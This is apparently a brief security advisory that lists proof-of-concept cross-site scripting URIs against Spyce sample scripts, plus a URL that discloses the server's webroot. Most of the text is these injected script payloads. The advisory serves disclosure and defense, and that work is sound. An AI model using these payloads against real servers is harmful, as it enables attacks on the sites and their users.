|
Spyce Sample Scripts Multiple Input Validation Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI. The following proof-of-concept URIs are available: http://www.example.com/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal http://www.example.com/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> http://www.example.com/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> http://www.example.com/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> http://www.example.com/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> http://www.example.com/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E Requesting the following URL returns the server's webroot: http://www.example.com/spyce/examples/automaton.spy |
|
|
Privacy Statement |
